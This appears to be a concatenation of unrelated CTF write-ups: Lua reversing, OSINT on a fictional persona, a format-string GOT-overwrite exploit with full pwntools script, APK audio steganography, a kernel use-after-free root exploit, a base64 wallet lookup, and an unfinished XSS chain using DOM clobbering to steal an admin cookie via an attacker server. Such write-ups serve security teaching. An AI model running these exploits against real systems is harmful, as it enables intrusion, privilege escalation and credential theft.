```luaprint("Figure out my code and I'll give you a flag!")print("Turn the crank to reset the pin. ")playdate.display.setRefreshRate(50)playdate.setBackgroundColor(---)_ENV["generateFlag"] = generateFlag_ENV["makeTextDisplayable"] = makeTextDisplayable_ENV["noiseSeed"] = 1234567math.randomseed(noiseSeed)_ENV["pressedButtons"] = ""_ENV["counter"] = 0_ENV["buttons"] = {"left", "right", "up", "down", "A", "B"}_ENV["generateOrder"] = generateOrder_ENV["playdate"]["cranked"] = cranked_ENV["clean"] = clean_ENV["index"] = ""_ENV["lastPressed"] = "Press a button!"_ENV["playdate"]["update"] = update
function generateFlag() local flag = "" for i = 1,64 do flag = flag .. string.char(math.random(32, 126)) end return flagend
function makeTextDisplayable()-- ...end
function generateOrder() local x = "" for i=1,20 do x = x .. i end return xend
function cranked()-- ...end
function clean(value) local var1 = "" for i = 1, #value, 2 do local c = value:sub(i, i+1) local n = tonumber(c) % 26 + 65 var1 = var1 .. string.char(n) end return var1end
function update() _ENV["counter"] = _ENV["counter"] + 1 drawTextAligned(generateFlag(), 200, 120, kTextAlignment.center) for i=1,#_ENV["buttons"] do if _ENV["playdate"]["buttonJustPressed"](_ENV["buttons"][i]) then _ENV["pressedButtons"] = _ENV["pressedButtons"] .. i _ENV["lastPressed"] = _ENV["buttons"][i] end end drawTextAligned(lastPressed, 200, 160, kTextAlignment.center) drawTextAligned(makeTextDisplayable(pressedButtons), 200, 180, kTextAlignment.center) drawTextAligned("Rotate the crank to reset the challenge.", 200, 200, kTextAlignment.center) if _ENV["pressedButtons"] == generateOrder() then print("Pin entered correctly!") setFont(font.kVariantBold) _ENV["cleaned"] = clean(pressedButtons) print("Flag: sun{" .. _ENV["cleaned"] .. "}") drawTextAligned("Flag: \nsun{" .. _ENV["cleaned"] .. "}", 200, 80, kTextAlignment.center) endend```
We can see that Playdate gets two functions hooked in, one is `cranked` (if the crank is turned) which resets the challenge (as the program told us earier). The other is `update` which is called every frame and does all the visual outputs.
So lest generate the flag, right?```lua$ cat gen_flag.luafunction generateFlag() local flag = "" for i = 1,64 do flag = flag .. string.char(math.random(32, 126)) end return flagend
math.randomseed(1234567)print(generateFlag())```
```bash$ ./lua54-5.4.0/lua gen_flag.lua2WWb63|H "A uUR_Se{ 'FBM/4SDNAG!mh&fC{xK-y~|nG8w4<~s#g!3tW!Y5P##```
But.. no, the flag is not accepted. This function seems to be a red herring and is just used to generate fancy output for display purpose. Well, so we continue reading the code.
The update function first prints the moving flag string and then captures user input to generate the sequence.
```lua_ENV["counter"] = _ENV["counter"] + 1drawTextAligned(generateFlag(), 200, 120, kTextAlignment.center)
for i=1,#_ENV["buttons"] do if _ENV["playdate"]["buttonJustPressed"](_ENV["buttons"][i]) then _ENV["pressedButtons"] = _ENV["pressedButtons"] .. i _ENV["lastPressed"] = _ENV["buttons"][i] end end```
After this some more infos are printed to screen and then there's this interesting piece that checks if our button sequence equals the sequence which `generateOrder` returns. If this is the case the flag is printed.
```luaif _ENV["pressedButtons"] == generateOrder() then print("Pin entered correctly!") setFont(font.kVariantBold) _ENV["cleaned"] = clean(pressedButtons) print("Flag: sun{" .. _ENV["cleaned"] .. "}") drawTextAligned("Flag: \nsun{" .. _ENV["cleaned"] .. "}", 200, 80, kTextAlignment.center) end```
So the plan now is to check the correct sequence, go back to the Playdate simulator and enter the sequence, get the flag and win!
```luafunction generateOrder() local x = "" for i=1,20 do x = x .. i end return xend```
This returns `1234567891011121314151617181920`, so we have to map this to the buttons. We have a dictionary with 6 buttons `_ENV["buttons"] = {"left", "right", "up", "down", "A", "B"}` if we want to map we have a little issue, there are indice which cannot be mapped to a button within this dictionary. So we can keep the simulator closed, there's no way we can input the correct sequence.
Well, lets go back to the code, we have to recreate the flag on our own.
```lua _ENV["cleaned"] = clean(pressedButtons)print("Flag: sun{" .. _ENV["cleaned"] .. "}")```
We can see that the flag is surrounded with `sun{}` and between the braces the content of `cleaned` is printed. The global variable `cleaned` is assigned with the result of the function `clean` that takes the button sequence as parameter. Since we know the sequence is assumed to be `1234567891011121314151617181920` we can just pass in this value.
```luafunction clean(value) local var1 = "" for i = 1, #value, 2 do local c = value:sub(i, i+1) local n = tonumber(c) % 26 + 65 var1 = var1 .. string.char(n) end return var1end```
Lets update our old `gen_flag.lua` script and let it generate the flag.
```bash$ lua gen_flag.luasun{MIEANBLVFPZJTDOA}```
Looks strange... Did we make a mistake somewhere on that long road? But no... The flag is accepted and we win!
Flag `sun{MIEANBLVFPZJTDOA}` |
## Task> Thanks to your OSINT work, we’re getting closer to identifying some of DEADFACE’s members. Can you figure out where lamia415 is employed?> > Submit the flag as: flag{Company_Branch}. Example: flag{Bank of America_Houston}.> > Free Hint: The answer is NOT found on LinkedIn
## Solution
Since there are no images or links provided in the challenge description we should check the [Ghost Town forum](https://ghosttown.deadface.io/) to find lamia415.[ We can find his profile here](https://ghosttown.deadface.io/u/lamia415)
These are her top topics.

We are trying to find where she works, and the second thread [‘Let’s hack and sell so I can be done working’](https://ghosttown.deadface.io/t/lets-hack-and-sell-so-i-can-be-done-working/99) mentions ‘working’ so let’s check that thread first.
Scrolling through we can find a user asking lamia415 where she works

Here we can see that lamia415 works at De Monne.
We cannot find any futher info about branch.
Let’s see if she has any social media.
Simply googling ‘lamia415’ does not show anything useful, so lets check if she is connected to any social media accounts we found in previous OSINT challenges.
Let’s check Mirveal first.
We have his [Twitter](https://twitter.com/Akio08641379) and [Mastodon](https://twitter.com/Akio08641379). No connections on Twitter apart from d34th, who we aren’t concerned with in this challenge, but in Mastodon, we can find that Mirveal is following someone.

Lets check [Lorianne](https://mastodon.social/@rebelchek).

Her nickname is lamia415, who is the person we are looking for!
This post

Says that she is starting her new job at De Monne Financial at the Norwood branch
Therefore, the flag is`** flag{De Monne Financial_Norwood}**` |
## Challenge Description
Wait what? We can write data, but where?
Flag format: CTF{sha256}
### Intuition
Checksec the binary to see what we have.
```$ checksec syslog-writeLIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILEPartial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH 49 Symbols No 0 4 syslog-write```We have PIE disabled and Partial RELRO. Partial RELRO might mean that we will overwrite GOT entries.
We decompile the binary and find numerous vulnerabilities. First a buffer overflow is present in the ``main`` function, when we read the "log level":```c printf("Enter the log level (LOG_INFO, LOG_WARNING, LOG_ERR, etc.): "); __isoc99_scanf(" %[^\n]",local_222);```Sadly, we can't do much with it initially, as the function does not return. Every exit point is covered by ``exit()``.
Another vulnerability that is evident is the fact that our input gets passed directly to ``syslog``. What is great about this is that ``syslog`` uses a format string as its second argument. So we have a format string vulnerability.
```c printf("Enter the message to write to syslog: "); fgets(local_218,0x200,stdin); fgets(local_218,0x200,stdin); syslog((int)local_222,local_218); closelog();```
### Solution
So first we obviously have to leak some data. We leak a whole lot of addresses from the stack by passing a bunch of ``"%x"`` to ``syslog``. We manually identify the return for the ``main`` function. We can make our lives easier by passing a bunch of "a" characters to the vulnerable buffer, to create a pattern of "a" characters leading up to the return address.
After leaking and checking in the debugger, we find out the return address for main leads to ``__libc_init_first``. We find the libc version using the [libc database](https://libc.blukat.me/) and we save some offsets to ``system`` from there. In the exploit we next calculate the address for ``system`` and use a classic arbitrary write primitive from the format string vulnerability. We overwrite the address of ``fgets``, found in GOT, two bytes at a time (to avoid long printing times). Now, our next input to fgets will get interpreted as a shell command. But how can we control it now that ``fgets`` is compromised? Easy, we can reuse the buffer overflow from the earlier ``scanf`` to overwrite it with a command. The exploit is below:
```py#!/usr/bin/env python3
from pwn import *
is_remote = Falsetarget = process("./syslog-write")#target = remote("34.159.3.30", 31549)
fgets_gotplt_addr = 0x00404048fgets_gotplt_addr_next = 0x0040404a
if is_remote: system_offset = 0x27060 # from init_firstelse: system_offset = 159856 # from init_first
# Leak a bunch of addressestarget.sendline(b"1")target.sendline(b"a" * 0x222)target.sendline(b"%x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x")
if is_remote: target.sendline(b"2") print(target.recvuntil(b"syslog-write")) leak = list(reversed(target.recvline().split()))
print(leak) # Find the return address using the "AAAA" pattern for i in range(len(leak)): if leak[i] == b"61616161": libc_init_first_leak = leak[i-1] print(libc_init_first_leak) libc_init_first_leak = int(libc_init_first_leak, 16) break
else: # get the addresses manually on local # I had some issues with reading the syslog libc_init_first_leak = input()
print(libc_init_first_leak) libc_init_first_leak = int(libc_init_first_leak, 16) print(hex(libc_init_first_leak))
# Find system addresssystem_addr = p64(libc_init_first_leak + system_offset)print(f"System addr: {hex(libc_init_first_leak + system_offset)}")
# Prepare the bytes to be writtenx = int.from_bytes(system_addr[:2], byteorder='little')y = int.from_bytes(system_addr[2:4], byteorder='little')
print(system_addr)
# You have to make sure the stack is correctly aligned# and that the parameter access (%11$hn and %12$hn) leads to the correct addresses# Use a debugger!payload = "%{}c%11$hn%{}c%12$hnbbbbbbb".format(x, y-x).encode()print(payload)
# Overwrite fgets with systemtarget.sendline(b"1")target.sendline(p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next)) # honestly don't remember if this really matterstarget.sendline(payload + p64(fgets_gotplt_addr) + p64(fgets_gotplt_addr_next))
# run /bin/cat flag.txttarget.sendline(b"1")target.sendline(b"A" * 10 + b"/bin/cat flag.txt") # overflow and win
target.interactive()```
#### Flag
```CTF{61534936dc22499d88206f04c36ccda47290ad4656345033c6c88f06a86a2b92}``` |
# CyberHeroines 2023
## Maddie Stone
> [Maddie Stone](https://www.wired.com/story/maddie-stone-project-zero-reverse-engineering/) is a prominent researcher on Google’s Project Zero bug-hunting team, which finds critical software flaws and vulnerabilities—mostly in other companies’ products. But her journey through the ranks of the security research community hasn’t always been easy, and has galvanized her to speak openly, often on Twitter, about the need to make the tech and engineering industries more inclusive. - [Wired Story](https://www.wired.com/story/maddie-stone-project-zero-reverse-engineering/)
Chal: Our [Cyber Heroines CTF Director](https://www.fit.edu/faculty-profiles/s/sudhakaran-sneha/) created an APK for hiding flags in homage to her favorite [Reverse Engineer](https://www.youtube.com/watch?v=U6qTcpCfuFc). Reverse the application and return the flag .>> Author: [Sneha](https://www.snehasudhakaran.com/)>> [`chgame.apk`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/cyberheroines23/rev/maddie_stone/chgame.apk), [`chaudio.wav`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/cyberheroines23/rev/maddie_stone/chaudio.wav)
Tags: _rev_
## SolutionFor this challenge a `apk` and a `wav` is given. Since this is rev we concentrate on the apk first. We can open the file with [`JADX`](https://github.com/skylot/jadx) to inspect resources and decompile the code.
The code itself is not too exciting. Most of the logic is within `UploadActivity.kt`. We have two buttons, one to select an audio file and another to play the audio file. When selecting an audio file a `file picker dialog` is opened and some ui elements are updated.
```javapublic static final void onSelectAudioFile(UploadActivity this$0, View it) { Intrinsics.checkNotNullParameter(this$0, "this$0"); this$0.openFilePicker(); }
private final void openFilePicker() { Intent intent = new Intent("android.intent.action.GET_CONTENT"); intent.setType("audio/*"); startActivityForResult(intent, this.PICK_AUDIO_REQUEST); }
public void onActivityResult(int requestCode, int resultCode, Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == this.PICK_AUDIO_REQUEST && resultCode == -1) { TextView textView = null; Uri audioUri = data != null ? data.getData() : null; if (audioUri != null) { TextView textView2 = this.audioPathTextView; if (textView2 == null) { Intrinsics.throwUninitializedPropertyAccessException("audioPathTextView"); textView2 = null; } textView2.setText(audioUri.getPath()); Button button = this.playAudioButton; if (button == null) { Intrinsics.throwUninitializedPropertyAccessException("playAudioButton"); button = null; } button.setVisibility(0); TextView textView3 = this.playInstructionText; if (textView3 == null) { Intrinsics.throwUninitializedPropertyAccessException("playInstructionText"); } else { textView = textView3; } textView.setVisibility(0); } } }```
Playing the audio file a alert is shown that `something changed when the audio was played`. I searched a while but nothing changed so this turned out to be a lie and nothing changed at all. But a option is offered to the user to download the `changed` audio file.
```javapublic static final void onPlayAudioFile(UploadActivity this$0, View it) { Intrinsics.checkNotNullParameter(this$0, "this$0"); AlertDialog.Builder builder = new AlertDialog.Builder(this$0); builder.setMessage("Uh oh, Something changed when we played that audio. Let's give you that audio file back now").setPositiveButton("Download", new DialogInterface.OnClickListener() { // from class: com.example.embeddedgame.UploadActivity$$ExternalSyntheticLambda0 @Override // android.content.DialogInterface.OnClickListener public final void onClick(DialogInterface dialogInterface, int i) { UploadActivity.onDownloadAudioFile(UploadActivity.this, dialogInterface, i); } }).setNegativeButton("Cancel", new DialogInterface.OnClickListener() { // from class: com.example.embeddedgame.UploadActivity$$ExternalSyntheticLambda1 @Override // android.content.DialogInterface.OnClickListener public final void onClick(DialogInterface dialogInterface, int i) { dialogInterface.dismiss(); } }); builder.create().show(); }
public static final void onDownloadAudioFile(UploadActivity this$0, DialogInterface dialogInterface, int i) { Intrinsics.checkNotNullParameter(this$0, "this$0"); this$0.checkStoragePermissionAndDownload(); }
private final void checkStoragePermissionAndDownload() { int hasPermission = ContextCompat.checkSelfPermission(this, "android.permission.WRITE_EXTERNAL_STORAGE"); if (hasPermission != 0) { ActivityCompat.requestPermissions(this, new String[]{"android.permission.WRITE_EXTERNAL_STORAGE"}, 100); } else { downloadFile(); } }```
The file download basically just writes a copy of the file `encoded_chaudio.wav`, which is delivered with the `apk` to the downloads directory.
```javaprivate final void downloadFile() { String destination = Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS).toString() + "encoded_chaudio.wav"; File file = new File(destination); if (file.exists()) { file.delete(); } try { InputStream inputStream = getAssets().open(LiveLiterals$UploadActivityKt.INSTANCE.m85x7edd2ff()); Intrinsics.checkNotNullExpressionValue(inputStream, "assets.open(\"encoded_chaudio.wav\")"); FileOutputStream fos = new FileOutputStream(destination); byte[] buffer = new byte[1024]; while (true) { int it = inputStream.read(buffer); if (it > 0) { fos.write(buffer, LiveLiterals$UploadActivityKt.INSTANCE.m87xdeeff43b(), it); } else { fos.close(); inputStream.close(); Toast.makeText(this, "Audio file saved to Downloads", 0).show(); Intent intent = new Intent("android.intent.action.VIEW"); intent.setDataAndType(Uri.fromFile(file), "audio/*"); startActivity(intent); return; } } } catch (Exception e) { e.printStackTrace(); Toast.makeText(this, "Error: " + e.getMessage(), 0).show(); } }```
So in conclusion, the code analysis did not give us too many good information. The next thing to do is to look at the encoded audio file. We can extract it with `JADX` or just use `7z` to extract the apk. when listening to the encoded audio file a small noise is perceptible. This could be some sort of `LSB steganography`.
To put this to a test I compared the wav samples of the original audio file with the encoded one and indeed found only changes in the [`LSB`](https://en.wikipedia.org/wiki/Bit_numbering#LSb_0_bit_numbering).
```pythonimport wave
def load_samples(wav_file): # Get audio parameters sample_width = wav_file.getsampwidth() frame_rate = wav_file.getframerate() n_channels = wav_file.getnchannels() n_frames = wav_file.getnframes()
# Read the audio samples return bytearray(list(wav_file.readframes(n_frames)))
# Close the WAV filewav_file1 = wave.open("chaudio.wav", "rb")wav_file2 = wave.open("./assets/encoded_chaudio.wav", "rb")samples1 = load_samples(wav_file1)samples_encoded = load_samples(wav_file2);
for i in range(len(samples1)): if samples1[i] & 0x7e != samples_encoded[i] & 0x7e: print("bad byte") exit()
wav_file1.close()wav_file2.close()```
There are different approaches to hide data in the LSB. I tried different approaches but eventually ran out of time and picked the challenge up after the event.
Here the first 32 bits build up the encoded data size and the remaining bits are the actual data. To extract I wrote this script.
```python# read data sizedata_size = 0pos = 0for i in range(32): data_size = ((samples_encoded[i] & 1) << i) | data_size pos = pos + 1
# read datadata = bytearray()for i in range(data_size): value = 0 for bit in range(8): value = ((samples_encoded[pos] & 1) << bit) | value pos = pos + 1 data.append(value)
open("encrypted_data.png", "wb").write(data)```

Flag `chctf{t53$p@$$35_h@ck!ng_$0c!3ty}` |
# kmemo
## Goal
This is the second challenge out of three in the fullchain challenge series. Inthe [umemo](https://github.com/mephi42/ctf/tree/master/2023.09.16-SECCON_CTF_2023_Quals/umemo) challenge we obtained a shell, now it's time to get root.
The author has provided the source code for the vulnerable kernel module.
## Debugging
* The kernel source code can be conveniently browsed in [Elixir]( https://elixir.bootlin.com/linux/v6.2.8/source/).* `vmlinux` can be extracted from `bzImage` with `binwalk -e`.* kallsyms can be extracted and imported into a decompiler with [ida-kallsyms]( https://github.com/mephi42/ida-kallsyms).* Struct layouts and non-exported symbols unfortunately need to be reversed. One can find the functions that use the interesting structs or symbols, and correlate the decompiled code with the source code.* A debug version of vmlinux can be created with [dwarfexport]( https://github.com/ALSchwalm/dwarfexport).* `s/kaslr/nokaslr/` in `ukqmemo/release/run.sh` in order to simplify the debugging experience.* GDB can be attached to the VM using [gdbstub]( https://wiki.qemu.org/Features/gdbstub).* Module can be located in memory by using an observation that it's the only one and therefore `mod_tree.addr_min` [points to it](https://github.com/mephi42/ctf/blob/master/2023.09.16-SECCON_CTF_2023_Quals/kmemo/gdbscript).* With that, one can set breakpoints in the kernel and in the module, and see the respective symbols in backtraces.
## Vulnerability
In my local setup I had dmesg enabled and observed the following quite a lot oftimes after the umemo app crashes:
```BUG: Bad page state in process memo pfn:019b6page:(____ptrval____) refcount:-1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x19b6```
So from the start I knew that the problem was somewhere in the `struct page`reference counting. The only place that deals with `struct page` is:
```static vm_fault_t mmap_fault(struct vm_fault *vmf){ struct memo *memo = vmf->vma->vm_private_data; if(!memo) return VM_FAULT_OOM;
char *data = get_memo_rw(memo, vmf->pgoff << PAGE_SHIFT); if(!data) return VM_FAULT_OOM;
vmf->page = virt_to_page(data);
return 0;}```
so I was immediately suspicious if a refcount increment was missing here. Afterall, we give our `struct page` to the common code. So I set a breakpoint on`mmap_fault` and then a watchpoint on `vmf->page's` refcount.
Not only it dropped to 0 shortly after returning from `mmap_fault()` in[`do_cow_fault()`](https://elixir.bootlin.com/linux/v6.2.8/source/mm/memory.c#L4528), but it wasalso almost immediately reused by the vulnerable module:
```Old value = 0New value = 10xffffffff811a8207 in get_page_from_freelist ()(gdb) bt#0 0xffffffff811a8207 in get_page_from_freelist ()#1 0xffffffff811a9a45 in __alloc_pages ()#2 0xffffffff811aa258 in get_zeroed_page ()#3 0xffffffffc0201093 in __pgoff_to_memopage (memo=0x0, memo@entry=0xffff8880019b6240, pgoff=18446612682103736320, modable=modable@entry=true, new_page=new_page@entry=0x0) at /data/yutaro/CTF/misc/Playground/kernel/modules/memo/memo.c:55```
So we have a use-after-free.
## kmemo page tables
As we already know from the umemo challenge, the module keeps the data inpages. How are they organized? Turns out they are indexed by a two-level pagetable structure:
```#define MEMOPAGE_TABLE_SHIFT (9)
struct memo_page_table { void* entry[PAGE_SIZE/sizeof(void*)];};
struct memo { struct memo_page_table *top; uint32_t count; struct mutex lock;};```
* The lowest 12 bits of an offset are ignored.* The next 9 bits are used for the second hierarchy level.* The next 9 bits are used for the first hierarchy level,* The other bits are ignored - this was the vulnerability for the umemo challenge.
## Exploitation
The plan is to leverage the use-after-free for overlapping a data (secondlevel) page with a page table (first level) page. This would give us thearbitrary read-write capability.
For the overlap, we need to keep three pages in mind:
* Attacker page. Use offset 0, because why not. After it's `mmap()`ped and accessed, its reference counter will drop to 0 because of the bug.* Victim page. This will be allocated as a page table page when referencing an offset with non-zero first level bits, e.g., `(1 << (PAGE_SHIFT + MEMOPAGE_TABLE_SHIFT))`. It will overlap with the attacker page.* Data page. It will be initially allocated alongside the victim page and referred to by it.
Having set that up, we can now read and write to the victim page using the`mmap()`ped attacker page. By reading the first 8 bytes we get the virtualaddress of the data page.
This address is generated in `__pgoff_to_memopage()` using[`get_zeroed_page()`](https://elixir.bootlin.com/linux/v6.2.8/source/mm/page_alloc.c#L5606), whichin turn calls [`__get_free_pages()`](https://elixir.bootlin.com/linux/v6.2.8/source/mm/page_alloc.c#L5595) →[`page_address()`](https://elixir.bootlin.com/linux/v6.2.8/source/mm/highmem.c#L740) →[`lowmem_page_address()`](https://elixir.bootlin.com/linux/v6.2.8/source/include/linux/mm.h#L1864) →[`page_to_virt()`](https://elixir.bootlin.com/linux/v6.2.8/source/include/linux/mm.h#L115) →[`__va()`](https://elixir.bootlin.com/linux/v6.2.8/source/arch/x86/include/asm/page.h#L59). Phew, that was a lot. At the end `__va()` will add [`PAGE_OFFSET`](https://elixir.bootlin.com/linux/v6.2.8/source/arch/x86/include/asm/page_types.h#L30), which is an alias for [`page_offset_base`](https://elixir.bootlin.com/linux/v6.2.8/source/arch/x86/include/asm/page_64.h#L17), to the page's physical address. The latter is set by[`kernel_randomize_memory()`](https://elixir.bootlin.com/linux/v6.2.8/source/arch/x86/mm/kaslr.c#L43) with ahuge granularity of a PUD (1G).
What are the practical consequences of this? By and-ing the leaked data pagevirtual address with `~(PUD_SIZE - 1)`, we get the value of `page_offset_base`:a virtual address, at which all physical memory is mapped.
By writing the addresses of the form of `page_offset_base + X` to the first 8bytes of the attacker page, we can access physical address `X` by reading orwriting to the device at offset we used when allocating the attacker page.
The next step is to locate vmlinux by scanning the physical memory. The processcan be sped up a bit by noticing that it's loaded at a physical address of atleast [`CONFIG_PHYSICAL_START`](https://elixir.bootlin.com/linux/v6.2.8/source/arch/x86/Kconfig#L2129) on a[`CONFIG_PHYSICAL_ALIGN`](https://elixir.bootlin.com/linux/v6.2.8/source/arch/x86/Kconfig#L2227)boundary.
This will give us the virtual address of vmlinux in the directly mappedphysical memory, but vmlinux is executed from a different mapping. Just forconvenience, i.e., ease of cross-checking the addresses with backtraces in thedebugger, find the address of this mapping by loading, e.g., `init_task.cred`from the directly mapped vmlinux and subtracting `init_cred` offset from it.
Finally, use the good old `current->cred = current->real_cred = &init_cred`(`current` can be found using `pcpu_base_addr`) to get root.
## Flag
`SECCON{d0n7_f0rg37_70_1ncr3m3n7_r3fc0un7}` |
Ctrl+F for wallet to find the following:
`$global:BtcWalletAddress = [System.Convert]::FromBase64String([System.Text.Encoding]::UTF8.GetBytes('bjMzaGE1bm96aXhlNnJyZzcxa2d3eWlubWt1c3gy'))
Base64 decode to get
n33ha5nozixe6rrg71kgwyinmkusx2
flag{n33ha5nozixe6rrg71kgwyinmkusx2} |
### Description>check out this pastebin! its a great way to store pieces of your sanity between ctfs.
We visit the challenge URL: https://sanity.amt.rs and find two textboxes (`title` and `paste`).
Trying some basic XSS payloads is fruitless but the source is included, so let's inspect it for vulnerabilities!
#### index.js```jsimport express from "express";import bodyParser from "body-parser";import { nanoid } from "nanoid";import path from "path";import puppeteer from "puppeteer";
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
const __dirname = path.resolve(path.dirname(""));const app = express();const port = 3000;
app.set("view engine", "ejs");app.use(bodyParser.json());
const browser = puppeteer.launch({ pipe: true, args: ["--no-sandbox", "--disable-dev-shm-usage"],});const sanes = new Map();
app.get("/", (req, res) => { res.sendFile(path.join(__dirname, `/index.html`));});
app.post("/submit", (req, res) => { const id = nanoid(); if (!req.body.title) return res.status(400).send("no title"); if (req.body.title.length > 100) return res.status(400).send("title too long"); if (!req.body.body) return res.status(400).send("no body"); if (req.body.body.length > 2000) return res.status(400).send("body too long");
sanes.set(id, req.body);
res.send(id);});
app.get("/:sane", (req, res) => { const sane = sanes.get(req.params.sane); if (!sane) return res.status(404).send("not found");
res.render("sanes", { id: req.params.sane, title: encodeURIComponent(sane.title), body: encodeURIComponent(sane.body), });});
app.get("/report/:sane", async (req, res) => { let ctx; try { ctx = await (await browser).createIncognitoBrowserContext(); const visit = async (browser, sane) => { const page = await browser.newPage(); await page.goto("http://localhost:3000"); await page.setCookie({ name: "flag", value: process.env.FLAG }); await page.goto(`http://localhost:3000/${sane}`); await page.waitForNetworkIdle({ timeout: 5000 }); await page.close(); };
await Promise.race([visit(ctx, req.params.sane), sleep(10_000)]); } catch (err) { console.error("Handler error", err); if (ctx) { try { await ctx.close(); } catch (e) {} } return res.send("Error visiting page"); } if (ctx) { try { await ctx.close(); } catch (e) {} } return res.send("Successfully reported!");});
app.listen(port, () => { console.log(`Example app listening on port ${port}`);});```#### sanes.ejs```html
<html lang="en">
<head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>sanity - <%= title %></title></head>
<body> <h1 id="title"> <script> const sanitizer = new Sanitizer(); document.getElementById("title").setHTML(decodeURIComponent(`<%- title %>`), { sanitizer }); </script> </h1> <div id="paste"> <script> class Debug { #sanitize; constructor(sanitize = true) { this.#sanitize = sanitize }
get sanitize() { return this.#sanitize; } }
async function loadBody() { let extension = null; if (window.debug?.extension) { let res = await fetch(window.debug?.extension.toString()); extension = await res.json(); }
const debug = Object.assign(new Debug(true), extension ?? { report: true }); let body = decodeURIComponent(`<%- body %>`); if (debug.report) { const reportLink = document.createElement("a"); reportLink.innerHTML = `Report <%= id %>`; reportLink.href = `report/<%= id %>`; reportLink.style.marginTop = "1rem"; reportLink.style.display = "block"
document.body.appendChild(reportLink) }
if (debug.sanitize) { document.getElementById("paste").setHTML(body, { sanitizer }) } else { document.getElementById("paste").innerHTML = body } }
loadBody(); </script> </div>
</body></html>```
## Attack PlanLet's breakdown our attack plan, in reverse order.
Our ultimate goal is to steal the admin's cookie!
We can see from the code in `index.js`, they will access the challenge domain and set a cookie containing the flag. Next, they will visit our note.```jsawait page.goto("http://localhost:3000");await page.setCookie({ name: "flag", value: process.env.FLAG });await page.goto(`http://localhost:3000/${sane}`);```
So how can we trigger the XSS? If we look at line 50 in `sane.ejs`, we'll see that a `sanitizer` will sanitize our payload *unless* `debug.sanitize` is false.```jsif (debug.sanitize) { document.getElementById("paste").setHTML(body, { sanitizer })} else { document.getElementById("paste").innerHTML = body}```
This brings us onto the next problem; `sanitize` is set to `true` by default in the class declaration on line 20.```jsclass Debug { #sanitize; constructor(sanitize = true) { this.#sanitize = sanitize }
get sanitize() { return this.#sanitize; }}```
The \[constant\] `debug` object is instantiated on line 38, where it is also set to `true`.```jsconst debug = Object.assign(new Debug(true), extension ?? { report: true });```
According to this line of code, if `extension` is defined (not null) then a new `debug` object will be created which has properties from both the `Debug(true)` instance and the `extension` object.
If `extension` is null then the object will instead have the properties from `Debug(true)` and an additional property: `report: true`.
So, if we could control `extension`, we could potentially use [Prototype Pollution](https://learn.snyk.io/lesson/prototype-pollution) to pollute the prototype of all objects to contain a property: `sanitize: false`.
We look through the code to find where extension is assigned, there's a function at line 31.```jsasync function loadBody() { let extension = null; if (window.debug?.extension) { let res = await fetch(window.debug?.extension.toString()); extension = await res.json(); }```
Extension is set to null! It then checks for `window.debug.extension` and if exists, makes a HTTP request to that URL and sets extension to contain the response, which is expected to be JSON data.
If we try and submit some benign text and check with devtools (F12) , the console shows the following.```js>> window.debug<- undefined```
This brings us on to our final (technically first) vulnerability; [DOM Clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)>DOM clobbering is a technique in which you inject HTML into a page to manipulate the DOM and ultimately change the behaviour of JavaScript on the page. DOM clobbering is particularly useful in cases where [XSS](https://portswigger.net/web-security/cross-site-scripting) is not possible, but you can control some HTML on a page where the attributes `id` or `name` are whitelisted by the HTML filter. The most common form of DOM clobbering uses an anchor element to overwrite a global variable, which is then used by the application in an unsafe way, such as generating a dynamic script URL.
We have a script on line 15 (right after the sanitizer instantiation) ```jsdocument.getElementById("title").setHTML(decodeURIComponent(`<%- title %>`), { sanitizer });```
It's calling `setHTML` on our input, so we can inject HTML. There is a sanitizer active (with [default configuration](https://developer.mozilla.org/en-US/docs/Web/API/Sanitizer/sanitize)) but it only `"strips out XSS-relevant input by default"` so the [sanitized setHTML](https://developer.mozilla.org/en-US/docs/Web/API/Element/setHTML) leaves us a lot of room to accomplish our goal.
More resources on DOM Clobbering here:- [DOM Clobbering Intro](https://medium.com/@ibm_ptc_security/dom-clobbering-baa55c208bce)- [DOMClob.xyz](https://domclob.xyz)- [YouTube: It’s (DOM) Clobbering Time: Attack Techniques, Prevalence, and Defenses](https://www.youtube.com/watch?v=_F4MZpy89_s)- [HackTricks: DOM Clobbering](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-clobbering)
## SolutionWe've established the attack plan:1. `CLOBBER`: we need to clobber the DOM so that `window.debug.extension` contains a URL.2. `POLLUTE`: the URL should deliver a JSON object, which pollutes `__proto__` with `sanitizer: false`.3. `INJECT`: with `debug.sanitize`, we can inject an XSS payload into the `paste` field. It will be injected into the page HTML, *without sanitization*.
Once we've successfully chained these vulns, we can send the report to the admin and wait for our cookie..
### Browser issue detourI got stuck for a little while trying to put this attack together, until I remembered the recent [Intigriti challenge](https://www.youtube.com/watch?v=Marqe2SEYok) that used `Sanitizer()`. In this challenge, players were advised to test on Google Chrome, whereas I am using Firefox.
I thought; no worries, just like in that video writeup, we can manually enable Sanitizer by going to `about:config` and setting `dom.security.sanitizer.enabled` to `true`.
Once that was enabled, HTML injection worked! Submitting the following payload as the `title` and `paste` values, produced **bold** output.```html420```
Unfortunately, I got stuck again at the next step and switching to Chrome solved it (you might want to do the same, if you're having issues).
### Part 1: DOM ClobberingWe review some of the earlier documentation, or use this awesome [DOMC Payload Generator](https://domclob.xyz/domc_payload_generator)```txttarget: debug.extensionvalue: //ATTACKER_SERVER```
